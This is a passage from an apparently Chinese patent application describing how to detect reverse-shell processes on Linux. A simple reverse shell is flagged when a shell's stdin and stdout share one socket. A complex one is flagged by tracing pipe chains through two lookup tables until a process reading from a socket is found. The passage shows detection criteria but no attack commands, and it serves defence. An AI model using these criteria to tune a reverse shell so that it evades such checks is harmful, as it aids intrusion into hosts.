第一数据表(MAP A)建立的是socket或者pipe与使用它的进程之间的映射关系,利用MAP提供的快速查找功能,可以迅速找到使用某个socket或者pipe的全部进程,将每个文件描述符信息作为一组key和value插入到MAP A数据表中。
其中,key相当于对象ID(整数标识符),所述对象ID是指操作系统为一个socket或者一个pipe分配的唯一整数标识符。如图4c所示,操作系统为socket配置的对象ID为“28551997”,为pipe设置的对象ID(也称pipe ID)为“28552019”。所述value可以是一个数组,每个数组中元素是该对象在一个进程中的信息,具体如下:
{
进程ID
文件描述符
对象ID;//与文件描述符相关联的socket或者pipe的整数标识符
对象类型;//指示是socket还是pipe
}
由于一个socket或者pipe可能会与多个进程的不同文件描述符相连接,所以建立第一数据表可以通过输入的对象ID(key),快速地查找到与该对象ID相关联的所有进程ID(value),进一步地,所述建立后的第一数据表如图8a所示。
同理地,与建立第一数据表的过程相似,本方法还通过读取第一进程的信息建立第二数据表,所述第二数据表(MAP B)是建立了一个进程与该进程相关联的所有socket或者pipe 之间的映射关系,利用MAP的快速查找功能,可以根据输入的进程ID查找出其使用的所有 socket和pipe。
其中,第二数据表的输入key可以是shell进程的进程ID,输出的value可以是一个数组,所述数组中的元素可以包括:与socket或者pipe关联的所有文件描述符信息,对象ID和对象类型等。例如图8b所示,建立的第二数据表包括一个进程ID和使用该进程的多个文件描述符之间的对应关系,以便于通过已知的进程ID快速查找对应的文件描述符。
步骤604:检测所述第一进程是否是一个shell进程。
一种具体实现手段是,预先设置一个包含全部shell名字的名单,判断当前读取的第一进程的名字是否出现在所述shell名字的名单中,如果shell名单中包括第一进程的名字,则表明该第一进程是shell进程;否则,所述第一进程不是shell进程。
此外,还可以通过其他方式,例如操作系统预先标记第一进程为shell进程来通知检测程序当前读取的第一进程是一个shell进程,本申请实施例对此不予限定。
另外,如果检测第一进程不是shell进程,则判断是否全部进程都访问完毕,如果还有未访问完的进程,则重复执行上述步骤601访问其它进程的操作,不再赘述。
步骤605:判断该第一进程的标准输入文件所关联的socket和标准输出文件所关联的 socket是否相同,即判断第一进程是否是简单的反弹shell进程。
具体包括:
判断第一进程的标准输入文件对应的第一文件描述符“0”和标准输出文件所对应的第二文件描述符“1”是否都与同一个socket关联,且这两个socket对应的对象标识(对象ID) 也是否相同。
如果所述第一文件描述符“0”和所述第二文件描述符“1”都指示socket,且与所述标准输入文件的socket关联的对象标识和与所述标准输出文件的socket关联的对象标识相同,则确定该第一进程是简单的反弹shell进程,或属于第一种输入和输出文件直接与socket相关联的进程。
如图3中方框所示,第一进程的标准输入的文件描述符“0”和标准输出的文件描述符“1”都指示与socket相关联,则对应的对象ID也都相同。例如,对象ID为28626392;
0->socket[28626392]
1->socket[28626392]
其中,所述对象ID还可以是文件描述符关联的管道标识(即pipe ID)。
方法还包括:在判断第一进程是简单的反弹shell进程时,记录该异常的反弹shell,并将该检测结果上报给运维管理设备。
如果检测所述第一进程不是简单的反弹shell,则进一步判断该第一进程是否是复杂的反弹shell,即判断第一进程的标准输入文件是否通过管道经过中间第二进程最终连接至网络socket上。
步骤606:判断所述第一进程的标准输入文件所对应的文件描述符是否与管道相关联。
如果是,则记录并保存该管道的相关信息,例如管道标识(pipe ID)。
具体地,可以利用readlink功能调用,如果读取第一进程中标准输入文件的文件描述符“0”的链接信息是pipe:[数字]格式,则说明其对应与一个管道相连接。该第一进程可能是一个复杂的反弹shell进程,或者称为疑似复杂的反弹shell进程。
步骤607:将该疑似的复杂反弹shell的相关信息记录在内存数组中(生成一个内存数组),以便为后续进一步检查做准备。
其中,所述内存数组中包括以下至少一种信息:
第一进程(shell)的进程ID;
标准输入文件的文件描述符“0”相关联的对象ID,例如pipe ID;
对象类型(pipe)。
此外,所述内存数组中还包括:预先建立的第一数据表和第二数据表等信息。
本实施例提供的方法,利用简单的反弹shell进程的特征,通过判断shell进程的标准输入文件和标准输出文件是否直接关联到同一个socket上,实现了对简单的反弹shell的识别和检测。
另外,本实施例的检测方法过程较为简单,检测程序对于主机资源的消耗较少,检测效率较高。
本实施例还提供了一种复杂反弹shell的检测方法,该方法可以在上述实施例的步骤607 之后执行,也可以单独执行,本申请对此不进行限制。
如图9所示,为本实施例提供的一种复杂的反弹shell进程的检测流程示意图。检测一个shell进程是否是复杂的反弹shell进程的原理是:判断该shell进程的标准输入文件是否最终通过其他进程转发的来自于网络socket的输入。
具体地,该方法在上述实施例中检测第一进程是疑似的反弹shell进程之后,还包括以下步骤:
步骤901:在内存数组中获取与第一进程的标准输入文件相连接的管道标识,即pipe ID。
其中,步骤901中检测程序读取第一进程的相关信息是一个循环的过程,即循环读取内存数组中与第一进程相关联的所有pipe ID,并逐一地进行判断,是否最终与socket相关联,在所述内存数组中的数据都读取和判断完毕之后,检测结束。
步骤902:根据所述pipe ID和第一数据表查找与所述pipe ID对应的所有进程ID,其中,所述第一数据表中包括:至少一个pipe ID和与每个pipe ID对应的至少一个进程ID。
具体地,将所述pipe ID作为一个key输入至MAP A中,得到与该pipe ID有对应关系的所有进程ID,每个所述进程ID可用于指示一个进程。
所述pipe ID为MAP A的输入对象key,输出的进程ID为value,所述MAP A用于快速查找每个pipe ID所对应的全部进程,如图8a所示的对应关系。
另外,步骤902是一个循环开始,所述循环包括遍历内存数组中的所有pipe ID,得到每个pipe ID所关联的进程ID。
步骤903:根据获取的进程ID在第二数据表中查找其对应的标准输入文件的文件描述符。
具体地,将进程ID输入至第二数据表(MAP B)中,得到每个进程ID的标准输入文件所对应的文件描述符,所述第二数据表中包括:至少一个进程ID和与每个进程ID对应的至少一个文件描述符。
例如,通过pipe ID在第一数据表查找到与第一进程相连接第二进程,例如cat进程,并通过第二进程的进程ID和第二数据表查找到第二进程标准输入文件的文件描述符。
步骤904:判断所述第二进程标准输入文件的文件描述符是否与socket关联。
步骤905:如果相关联,则确定该第一进程是复杂的反弹shell进程。
如果所述第二进程的标准输入文件的文件描述符不与socket关联,则不是复杂的反弹 shell进程,即最后一个进程(第二进程)的标准输入端的文件描述符与socket不关联,即第一进程的标准输入文件最终不是来自于网络的输入。
可选的,在步骤904中判断第二进程标准输入文件的文件描述符是否与所述socket相关联,包括:
检测设备(主机)向操作系统(operation system,OS)发送一个请求消息,该请求消息用于请求第二进程所对应的文件描述符与socket的关联情况;该OS预先存储有各个进程的关联信息,接收到所述请求消息之后,将指示信息发送给所述检测设备(主机),所述指示信息中包括:用以指示最后一个进程(第二进程)的标准输入文件的文件描述符,例如第三文件描述符,和与所述第三文件描述符关联的对象信息,所述对象信息包括对象类型和对象标识,所述对象类型包括socket。
所述检测设备接收来自OS的指示信息,如果指示信息中与第二进程的标准输入文件的文件描述符关联的对象类型是socket,则确定所述最后一个进程的标准输入文件所对应的文件描述符与一个socket关联,表明第一进程的标准输入文件最终来自于网络,属于复杂的反弹 shell进程;否则,确定第一进程不是复杂的反弹shell进程。
具体地,如果指示信息中文件描述符0后面指示的是所述socket字段,则确定所述第二进程的标准输入文件所对应的文件描述符与一个socket关联。如果所述文件描述符0后面指示的不是所述socket字段,则确定所述第二进程的标准输入文件与socket不关联,则确定不是复杂的反弹shell进程。
可选的,一种可能的情况是,在被检测的第一进程和网络的socket远程主机之间还可以包括n个其它进程,n大于等于2,如图10所述,包括两个进程,进程1和进程2。
所述检测第一进程是否是复杂的反弹shell进程的过程,则会进入一个递归的流程。例如,第一进程的标准输入文件与管道1的一端连接,以管道1的pipe ID为索引,在第一数据表查找到管道1的另一端与进程1相连。然后以进程1的进程ID为索引在第二数据表中查找进程1的标准输入文件的文件描述符,检测该进程1的标准输入文件的文件描述符与管道 2的一端相连接。再执行利用管道2的pipe ID在第一数据表中查找进程,再在第二数据表中查找进程的标准输入文件的文件描述符的操作,直到在当前检测的进程的标准输入文件的文件描述符不再与一个管道连接时,确定所述当前检测的进程为所述n个其他进程中最后一个进程,最后判断该最后一个进程的标准输入端是否与socket关联。如果最后一个进程的标准输入端与socket相关联,则确定该第一进程是复杂的反弹shell进程,具体地,查找和确定最后一个进程以及所述最后一个进程是否与socket关联的过程可以参加上述步骤901至步骤905,此处不详细赘述。
本方法实施例中,利用预先建立的第一数据表和第二数据表,以及管道标识和进程标识,能够快速地查找到与第一进程的标注输入文件相连的管道、进程和所述进程的标准输入文件所对应的文件描述符,进而能够快速判断出第一进程是否是复杂的反弹shell进程,提高了检测效率。
另外,本申请提供的方法,通过判断一个shell进程的标准输入文件是否最终与socket 关联,可以检测出该shell进程是否是复杂的反弹shell,从而实现了对Linux系统中复杂的反弹shell进程的有效检测,进而可以及时发现网络中的主机是否被黑客入侵和控制,提高了网络的安全性。
本实施例提供的检测复杂的反弹shell进程的过程相比于简单反弹shell进程的检测过程相对复杂,但识别准确性较高,能够识别出入侵者通过多次重定向、管道连接等逃避方式设计出的反弹shell进程。
对应于上述方法的实施例,本申请还提供了一种反弹shell进程的检测装置,如图11所示。该装置包括:获取单元1101和处理单元1102,此外,还可以包括其它单元或模块,例如发送单元、存储单元等。
获取单元1101,用于获取第一进程,所述第一进程是shell进程。
处理单元1102,用于检测所述第一进程的至少一个文件描述符与网络套接字socket关联情况,以及根据所述关联情况,确定所述第一进程是反弹shell进程,即第一进程是简单的反弹shell进程。
其中,所述关联情况包括所述文件描述符与socket关联和不关联,在所述文件描述符与 socket关联的情况下,确定第一进程是反弹shell进程;在所述不关联的情况下,确定所述第一进程不是反弹shell进程。
可选的,在本实施例的一种具体的实现方式中,所述处理单元1102,具体用于在所述至少一个文件描述符中包括第一文件描述符和第二文件描述符的情况下,获取所述第一文件描述符和第二文件描述符,其中所述第一文件描述符用以指示第一进程的标准输入文件,所述第二文件描述符用以指示第一进程的标准输出文件。
所述处理单元1102,具体用于如果所述第一文件描述符和第二文件描述符均与socket 关联,则判断所述第一文件描述符关联的socket与所述第二文件描述符关联的socket是否相同,以及,在所述第一文件描述符关联的socket和所述第二文件描述符关联的socket相同时,确定所述第一进程是第一反弹shell进程。
可选的,在本实施例的另一种具体的实现方式中,所述处理单元1102,还用于所述第一文件描述符和第二文件描述符未均与socket关联的情况下,判断所述第一文件描述符是否与第一管道的一端连接,所述第一管道的另一端用于连接n个其他进程,其中n为自然数,且 n≥1;
所述获取单元1101,还用于在所述第一文件描述符与所述第一管道的一端连接的情况下,获取所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符;
所述处理单元1102,还用于检测在所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符与一个socket关联时,确定所述第一进程是第二反弹shell进程,即第一进程是复杂的反弹shell进程。
可选的,在本实施例的又一种具体的实现方式中,所述获取单元1101,还用于获取所述至少一个文件描述符中的第一文件描述符,所述第一文件描述符用以指示第一进程的标准输入文件。
所述处理单元1102,具体检测所述第一文件描述符是否与第一管道的一端连接,所述第一管道的另一端用于连接n个其他进程,其中n为自然数且n≥1;在所述第一文件描述符与所述第一管道的一端连接的情况下,通过所述获取单元获取所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符。
所述处理单元1102,具体用于检测在所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符与一个socket关联时,确定所述第一进程是第二反弹shell进程。
可选的,在本实施例的又一种具体的实现方式中,所述获取单元1101,还用于在所述获取所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符之前,获取所述第一管道的管道标识,例如pipe ID。
所述处理单元1102,具体用于执行以下功能:
以所述第一管道的管道标识为索引,在第一数据表中查找与所述第一管道的管道标识对应的第二进程;获取第二进程的进程标识,以所述第二进程的进程标识为索引,在第二数据表中查找第二进程对应的文件描述符中用以指示第二进程的标准输入文件的文件描述符;
检测所述用以指示第二进程的标准输入文件的文件描述符是否与第二管道连接;
在所述用以指示第二进程的标准输入文件的文件描述符未与所述第二管道连接时,确定所述第二进程为所述n个其他进程中最后一个进程;
在所述用以指示第二进程的标准输入文件的文件描述符与所述第二管道连接的情况下,根据所述第二管道的管道标识,依次执行在所述第一数据表查找进程,在所述第二数据表中查找与进程对应的标准输入文件的文件描述符的过程,直到在当前检测的进程的标准输入文件的文件描述符未与一个管道连接时,确定所述当前检测的进程为所述n个其他进程中最后一个进程。
其中,所述第一数据表中包括:至少一个管道标识和与每个所述管道标识对应的至少一个进程标识,所述第二数据表中包括:至少一个进程标识和与每个进程标识对应的至少一个文件描述符。
可选的,在本实施例的又一种具体的实现方式中,所述处理单元1102,还用于在第一数据表中查找与所述第一管道的管道标识对应的第二进程之前,读取第一进程信息,所述第一进程信息包括:所述第一进程的进程标识、所述第一进程的至少一个文件描述符、与所述第一进程的至少一个文件描述符中的每个所述文件描述符关联的对象类型和对象标识,所述对象类型包括管道或者socket,所述对象标识包括管道标识,pipe ID。
所述处理单元1102,还用于将所述第一进程信息中的对象类型和对象标识、以及所述第一进程的进程标识插入到MAP A中生成所述第一数据表;将所述第一进程信息中的第一的进程标识、所述至少一个文件描述符,与所述第一进程的至少一个文件描述符中的每个所述文件描述符关联的对象类型和对象标识插入到MAP B中生成所述第二数据表;其中,所述MAP 是一种用于快速哈希HASH查找的数据结构。
可选的,在本实施例的又一种具体的实现方式中,所述获取单元1101,还用于获取来自操作系统的指示信息,所述指示信息中包括:第三文件描述符和与所述第三文件描述符关联的对象类型,所述第三文件描述符用以指示最后一个进程的标准输入文件。
所述处理单元1102,具体用于检测如果与所述第三文件描述符关联的对象类型是socket,则确定所述最后一个进程的标准输入文件所对应的文件描述符与一个socket关联;如果所述第三文件描述符关联的对象类型不是socket,则确定所述最后一个进程的标准输入文件所对应的文件描述符与一个socket不关联。
具体地,检测在所述第三文件描述符0后面指示的是一个socket时,确定所述最后一个进程的标准输入文件所对应的文件描述符与一个socket关联;在所述第三文件描述符0后面指示的不是socket时,确定所述最后一个进程的标准输入文件所对应的文件描述符与一个 socket不关联。
在具体硬件实现层面,本申请还提供了一种检测设备,所述检测设备可以是主机、终端,如图12所示,该主机包括处理器1201、存储器1202、总线1203、网络接口1204、输入设备 1205和显示器1206,另外,所述主机还可以包括更多或更少的部件,或者组合某些部件,或者不同的部件布置,本申请对此不进行限定。
其中,处理器1201是该检测设备的控制中心,利用各种接口和线路连接整个检测设备的各个部分,通过运行或执行存储在存储器内的应用程序和/或操作系统,以及调用存储在存储器内的数据,执行检测设备的各种功能和处理数据,从而实现对反弹shell进程的检测。
所述存储器1202中存储有程序代码,例如检测程序代码,另外,存储器1202中还包括操作系统OS,例如Linux系统。
所述处理器1201,用于运行所述存储器1202中的程序代码,以执行前述实施例所述的反弹shell进程的检测方法,具体包括执行以下操作:
获取第一进程,检测所述第一进程的至少一个文件描述符与网络套接字socket的关联情况,以及根据所述关联情况确定所述第一进程是反弹shell进程,所述第一进程是shell进程。
可选的,所述处理器1201,用于在所述至少一个文件描述符中包括第一文件描述符和第二文件描述符的情况下,获取所述第一文件描述符和第二文件描述符,其中所述第一文件描述符用以指示第一进程的标准输入文件,所述第二文件描述符用以指示第一进程的标准输出文件。
所述处理器1201,具体还用于在所述第一文件描述符和第二文件描述符均与socket关联时,判断所述第一文件描述符关联的socket与所述第二文件描述符关联的socket是否相同,以及,在所述第一文件描述符关联的socket和所述第二文件描述符关联的socket相同时,确定所述第一进程是第一反弹shell进程。
可选的,所述处理器1201,具体还用于在所述第一文件描述符和第二文件描述符未均与 socket关联的情况下,判断所述第一文件描述符是否与第一管道的一端连接,所述第一管道的另一端用于连接n个其他进程,其中n为自然数且n≥1。
以及,还用于在所述第一文件描述符与所述第一管道的一端连接的情况下,获取所述n 个其他进程中最后一个进程的标准输入文件所对应的文件描述符;检测在所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符与一个socket关联时,确定所述第一进程是第二反弹shell进程。
可选的,所述处理器1201,具体还用于获取所述至少一个文件描述符中的第一文件描述符,所述第一文件描述符用以指示第一进程的标准输入文件;检测所述第一文件描述符是否与第一管道的一端连接,所述第一管道的另一端用于连接n个其他进程,其中n为自然数且 n≥1;在所述第一文件描述符与所述第一管道的一端连接的情况下,获取所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符。
以及,检测在所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符与一个socket关联时,确定所述第一进程是第二反弹shell进程。
可选的,所述处理器1201,具体还用于在所述获取所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符之前,获取所述第一管道的管道标识;以所述第一管道的管道标识为索引,在第一数据表中查找与所述第一管道的管道标识对应的第二进程;获取第二进程的进程标识,以所述第二进程的进程标识为索引,在第二数据表中查找第二进程对应的文件描述符中用以指示第二进程的标准输入文件的文件描述符。
检测所述用以指示第二进程的标准输入文件的文件描述符是否与第二管道连接;在所述用以指示第二进程的标准输入文件的文件描述符未与所述第二管道连接时,确定所述第二进程为所述n个其他进程中最后一个进程。
在所述用以指示第二进程的标准输入文件的文件描述符与所述第二管道连接的情况下,根据所述第二管道的管道标识,依次执行在所述第一数据表查找进程,在所述第二数据表中查找与进程对应的标准输入文件的文件描述符的过程,直到在当前检测的进程的标准输入文件的文件描述符未与一个管道连接时,确定所述当前检测的进程为所述n个其他进程中最后一个进程。
其中,所述第一数据表中包括:至少一个管道标识和与每个所述管道标识对应的至少一个进程标识,所述第二数据表中包括:至少一个进程标识和与每个进程标识对应的至少一个文件描述符。
可选的,所述处理器1201,具体还用于:在第一数据表中查找与所述第一管道的管道标识对应的第二进程之前,读取第一进程信息,所述第一进程信息包括:所述第一进程的进程标识、所述第一进程的至少一个文件描述符、与所述第一进程的至少一个文件描述符中的每个所述文件描述符关联的对象类型和对象标识,所述对象类型包括管道或者socket,所述对象标识包括管道标识。
以及,还用于将所述第一进程信息中的对象类型和对象标识、以及所述第一进程的进程标识插入到MAP A中生成所述第一数据表;将所述第一进程信息中的第一进程标识、所述至少一个文件描述符、以及每个所述文件描述符关联的对象类型和对象标识插入到MAP B中生成所述第二数据表;其中,所述MAP是一种用于快速哈希HASH查找的数据结构。
可选的,所述处理器1201,具体还用于:向操作系统发送请求消息,获取来自操作系统根据所述请求消息反馈的指示信息,所述指示信息中包括第三文件描述符和与所述第三文件描述符关联的对象类型,所述第三文件描述符用以指示所述最后一个进程的标准输入文件。
以及,判断所述指示信息中,在所述第三文件描述符关联的对象类型是socket时,确定所述最后一个进程的标准输入文件所对应的文件描述符与一个socket关联;在所述第三文件描述符关联的对象类型不是socket时,确定所述最后一个进程的标准输入文件所对应的文件描述符与一个socket不关联。
在本实施例提供的检测装置中,总线1203用于连接处理器1201、存储器1202、网络接口1204、输入设备1205和显示器1206等,以实现在处理器、存储器和网络接口之间的数据传输。例如,处理器1201通过总线1203执行存储器1202中的各项指令,以实现对各项进程的检测,并且将检测结果通过网络接口1204发送给运维管理设备。示例性地,输入设备1205是键盘。
所述处理器1201可以由集成电路(Integrated Circuit,IC)组成,例如可以由单颗封装的IC所组成,也可以由连接多颗相同功能或不同功能的封装IC而组成。举例来说,处理器可以仅包括中央处理器(Central Processing Unit,CPU),也可以是GPU、数字信号处理器(Digital Signal Processor,DSP)、及收发器中的控制芯片(例如基带芯片)的组合。在本申请的各种实施方式中,CPU可以是单运算核心,也可以包括多运算核心。
所述存储器1202可以包括易失性存储器(volatile memory),例如随机存取内存(Random Access Memory,RAM);还可以包括非易失性存储器(non-volatile memory),例如快闪存储器(flash memory),硬盘(Hard Sisk Drive,HDD)或固态硬盘(Solid-StateDrive,SSD);存储器还可以包括上述种类的存储器的组合。所述存储器中可以存储有程序或代码,交换机中的处理器1202通过执行所述程序或代码可以实现所述网络设备的功能。
另外,本申请可以根据上述方法示例对检测设备进行功能模块的划分,例如,可以对应各个功能划分各个功能单元,也可以将两个或两个以上的功能集成在一个处理单元中。上述集成的单元既可以采用硬件的形式实现,也可以采用软件功能模块的形式实现。需要说明的是,本申请中对模块的划分是示意性的,仅仅为一种逻辑功能划分,实际实现时可以有另外的划分方式。
在本实施例中,处理器1201所要实现的功能可以由图11所示的获取单元1101和处理单元1102来实现。
另外对于正常的shell进程,可以通过输入设备1205在shell进程的标准输入端输入命令,并通过处理器1201执行后在显示器1206上输出显示。
在具体实现中,本申请还提供一种计算机存储介质,其中,该计算机存储介质可存储有程序,该程序执行时可包括本申请提供的反弹shell进程的检测方法的各实施例中的部分或全部步骤。
在上述实施例中,可以全部或部分通过软件、硬件、固件或者其任意组合来实现。当使用软件实现时,可以全部或部分地以计算机程序产品的形式实现。
所述计算机程序产品包括一个或多个计算机指令,例如检测控制指令。在计算机加载和执行所述计算机程序时,全部或部分地产生按照本申请上述实施例所述的流程或功能。所述计算机可以是通用计算机、专用计算机、计算机网络或者其他可编程装置。
所述计算机指令可以存储在计算机可读存储介质中,或者从一个计算机可读存储介质向另一个计算机可读存储介质传输,例如,所述计算机指令可以从一个网络站点、计算机、服务器或数据中心通过有线或无线方式向另一个站点、计算机或服务器进行传输。
所述计算机可读存储介质可以是计算机能够存取的任何可用介质或者是包含一个或多个可用介质集成的服务器、数据中心等存储设备。所述可用介质可以是磁性介质,例如软盘、硬盘、磁带、光介质(例如DVD)、或半导体介质,例如固态硬盘SSD等。
本说明书中各个实施例之间相同相似的部分互相参见即可。尤其,对于本申请提供的反弹shell进程检测装置和检测设备的实施例而言,由于其基本相似于方法实施例,所以描述的比较简单,相关之处参见方法实施例中的说明即可。
以上所述的本申请实施方式并不构成对本申请保护范围的限定。
Claims (11)
1.一种反弹shell进程的检测方法,其特征在于,方法包括:
获取第一进程,所述第一进程是shell进程;
检测所述第一进程的至少一个文件描述符与网络套接字socket的关联情况;
根据所述第一进程的至少一个文件描述符与socket的关联情况,确定所述第一进程是反弹shell进程;
其中,
所述检测所述第一进程的至少一个文件描述符与socket的关联情况,包括:
在所述至少一个文件描述符中包括第一文件描述符和第二文件描述符的情况下,获取所述第一文件描述符和第二文件描述符,其中所述第一文件描述符用以指示第一进程的标准输入文件,所述第二文件描述符用以指示第一进程的标准输出文件;如果所述第一文件描述符和第二文件描述符均与socket关联,则判断所述第一文件描述符关联的socket与所述第二文件描述符关联的socket是否相同;
所述根据所述第一进程的至少一个文件描述符与socket的关联情况,确定所述第一进程是反弹shell进程,包括:
如果所述第一文件描述符关联的socket和所述第二文件描述符关联的socket相同,则确定所述第一进程是第一反弹shell进程;
或者,
所述检测所述第一进程的至少一个文件描述符与socket的关联情况,包括:
获取所述至少一个文件描述符中的第一文件描述符,所述第一文件描述符用以指示第一进程的标准输入文件;检测所述第一文件描述符是否与第一管道的一端连接,所述第一管道的另一端用于连接n个其他进程,其中n为自然数,且n≥1;如果所述第一文件描述符与所述第一管道的一端连接,则获取所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符;检测所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符是否与一个socket关联;
所述根据所述第一进程的至少一个文件描述符与socket的关联情况,确定所述第一进程是反弹shell进程,包括:
如果所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符与一个socket关联,则确定所述第一进程是第二反弹shell进程。
2.根据权利要求1所述的方法,其特征在于,所述方法还包括:
在所述至少一个文件描述符中包括所述第一文件描述符和所述第二文件描述符的情况下,如果所述第一文件描述符和第二文件描述符未均与socket关联,则判断所述第一文件描述符是否与第一管道的一端连接,所述第一管道的另一端用于连接n个其他进程,其中n为自然数,且n≥1;
如果所述第一文件描述符与所述第一管道的一端连接,则获取所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符;
检测所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符是否与一个socket关联;
如果所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符与一个socket关联,则确定所述第一进程是第二反弹shell进程。
3.根据权利要求1或2所述的方法,其特征在于,在所述获取所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符之前,还包括:
获取所述第一管道的管道标识;
以所述第一管道的管道标识为索引,在第一数据表中查找与所述第一管道的管道标识对应的第二进程;
获取第二进程的进程标识,以所述第二进程的进程标识为索引,在第二数据表中查找第二进程对应的文件描述符中用以指示第二进程的标准输入文件的文件描述符;
检测所述用以指示第二进程的标准输入文件的文件描述符是否与第二管道连接;
如果所述用以指示第二进程的标准输入文件的文件描述符未与所述第二管道连接,则确定所述第二进程为所述n个其他进程中最后一个进程;
如果所述用以指示第二进程的标准输入文件的文件描述符与所述第二管道连接,则根据所述第二管道的管道标识,依次执行在所述第一数据表查找进程,在所述第二数据表中查找与进程对应的标准输入文件的文件描述符的过程,直到在当前检测的进程的标准输入文件的文件描述符未与一个管道连接时,确定所述当前检测的进程为所述n个其他进程中最后一个进程;
其中,所述第一数据表中包括:至少一个管道标识和与每个所述管道标识对应的至少一个进程标识,所述第二数据表中包括:至少一个进程标识和与每个进程标识对应的至少一个文件描述符。
4.根据权利要求3所述的方法,其特征在于,所述在第一数据表中查找与所述第一管道的管道标识对应的第二进程之前,所述方法还包括:
读取第一进程信息,所述第一进程信息包括:所述第一进程的进程标识、所述第一进程的至少一个文件描述符、与所述第一进程的至少一个文件描述符中的每个文件描述符关联的对象类型和对象标识,所述对象类型包括管道或者socket,所述对象标识包括管道标识;
将所述第一进程信息中的对象类型和对象标识、以及所述第一进程的进程标识插入到MAP A中生成所述第一数据表;
将所述第一进程信息中的第一进程的进程标识、所述第一进程的至少一个文件描述符以及所述第一进程的至少一个文件描述符中的每个文件描述符关联的对象类型和对象标识插入到MAP B中生成所述第二数据表;
其中,所述MAP是一种用于快速哈希HASH查找的数据结构。
5.根据权利要求1或2所述的方法,其特征在于,检测所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符是否与一个socket关联,包括:
获取来自操作系统的指示信息,所述指示信息中包括第三文件描述符和与所述第三文件描述符关联的对象类型,所述第三文件描述符用以指示所述n个其他进程中最后一个进程的标准输入文件;
如果与所述第三文件描述符关联的对象类型是socket,则确定所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符与一个socket关联;
如果所述第三文件描述符关联的对象类型不是socket,则确定所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符与一个socket不关联。
6.一种反弹shell进程的检测装置,其特征在于,装置包括:
获取单元,用于获取第一进程,所述第一进程是shell进程;
处理单元,用于检测所述第一进程的至少一个文件描述符与网络套接字socket的关联情况,以及根据所述关联情况,确定所述第一进程是反弹shell进程;
其中,
所述处理单元,具体用于在所述至少一个文件描述符中包括第一文件描述符和第二文件描述符的情况下,通过获取单元获取所述第一文件描述符和第二文件描述符,其中所述第一文件描述符用以指示第一进程的标准输入文件,所述第二文件描述符用以指示第一进程的标准输出文件;以及,还用于如果所述第一文件描述符和第二文件描述符均与socket关联,则判断所述第一文件描述符关联的socket与所述第二文件描述符关联的socket是否相同,以及,在所述第一文件描述符关联的socket和所述第二文件描述符关联的socket相同时,确定所述第一进程是第一反弹shell进程;
或者,
所述获取单元,具体用于获取所述至少一个文件描述符中的第一文件描述符,所述第一文件描述符用以指示第一进程的标准输入文件;
所述处理单元,具体用于检测所述第一文件描述符是否与第一管道的一端连接,所述第一管道的另一端用于连接n个其他进程,其中n为自然数,且n≥1;在所述第一文件描述符与所述第一管道的一端连接的情况下,通过所述获取单元获取所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符;以及,还用于检测所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符是否与一个socket关联;如果所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符与一个socket关联,确定所述第一进程是第二反弹shell进程。
7.根据权利要求6所述的装置,其特征在于,
所述处理单元,还用于在所述至少一个文件描述符中包括所述第一文件描述符和所述第二文件描述符的情况下,如果所述第一文件描述符和第二文件描述符未均与socket关联,判断所述第一文件描述符是否与第一管道的一端连接,所述第一管道的另一端用于连接n个其他进程,其中n为自然数,且n≥1;
所述获取单元,还用于在所述第一文件描述符与所述第一管道的一端连接的情况下,获取所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符;
所述处理单元,还用于检测所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符是否与一个socket关联;如果所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符与一个socket关联,确定所述第一进程是第二反弹shell进程。
8.根据权利要求6或7所述的装置,其特征在于,
所述获取单元,还用于在所述获取所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符之前,获取所述第一管道的管道标识;
所述处理单元,具体用于执行以下功能:
以所述第一管道的管道标识为索引,在第一数据表中查找与所述第一管道的管道标识对应的第二进程;
获取第二进程的进程标识,以所述第二进程的进程标识为索引,在第二数据表中查找第二进程对应的文件描述符中用以指示第二进程的标准输入文件的文件描述符;
检测所述用以指示第二进程的标准输入文件的文件描述符是否与第二管道连接;
在所述用以指示第二进程的标准输入文件的文件描述符未与所述第二管道连接时,确定所述第二进程为所述n个其他进程中最后一个进程;
在所述用以指示第二进程的标准输入文件的文件描述符与所述第二管道连接的情况下,根据所述第二管道的管道标识,依次执行在所述第一数据表查找进程,在所述第二数据表中查找与进程对应的标准输入文件的文件描述符的过程,直到在当前检测的进程的标准输入文件的文件描述符未与一个管道连接时,确定所述当前检测的进程为所述n个其他进程中最后一个进程;
其中,所述第一数据表中包括:至少一个管道标识和与每个所述管道标识对应的至少一个进程标识,所述第二数据表中包括:至少一个进程标识和与每个进程标识对应的至少一个文件描述符。
9.根据权利要求8所述的装置,其特征在于,
所述处理单元,还用于在第一数据表中查找与所述第一管道的管道标识对应的第二进程之前,读取第一进程信息,所述第一进程信息包括:所述第一进程的进程标识、所述第一进程的至少一个文件描述符、与所述第一进程的至少一个文件描述符中的每个文件描述符关联的对象类型和对象标识,所述对象类型包括管道或者socket,所述对象标识包括管道标识;
所述处理单元,还用于将所述第一进程信息中的对象类型和对象标识、以及所述第一进程的进程标识插入到MAP A中生成所述第一数据表;将所述第一进程信息中的第一进程的进程标识、所述第一进程的至少一个文件描述符以及所述第一进程的至少一个文件描述符中的每个文件描述符关联的对象类型和对象标识插入到MAP B中生成所述第二数据表;其中,所述MAP是一种用于快速哈希HASH查找的数据结构。
10.根据权利要求6或7所述的装置,其特征在于,
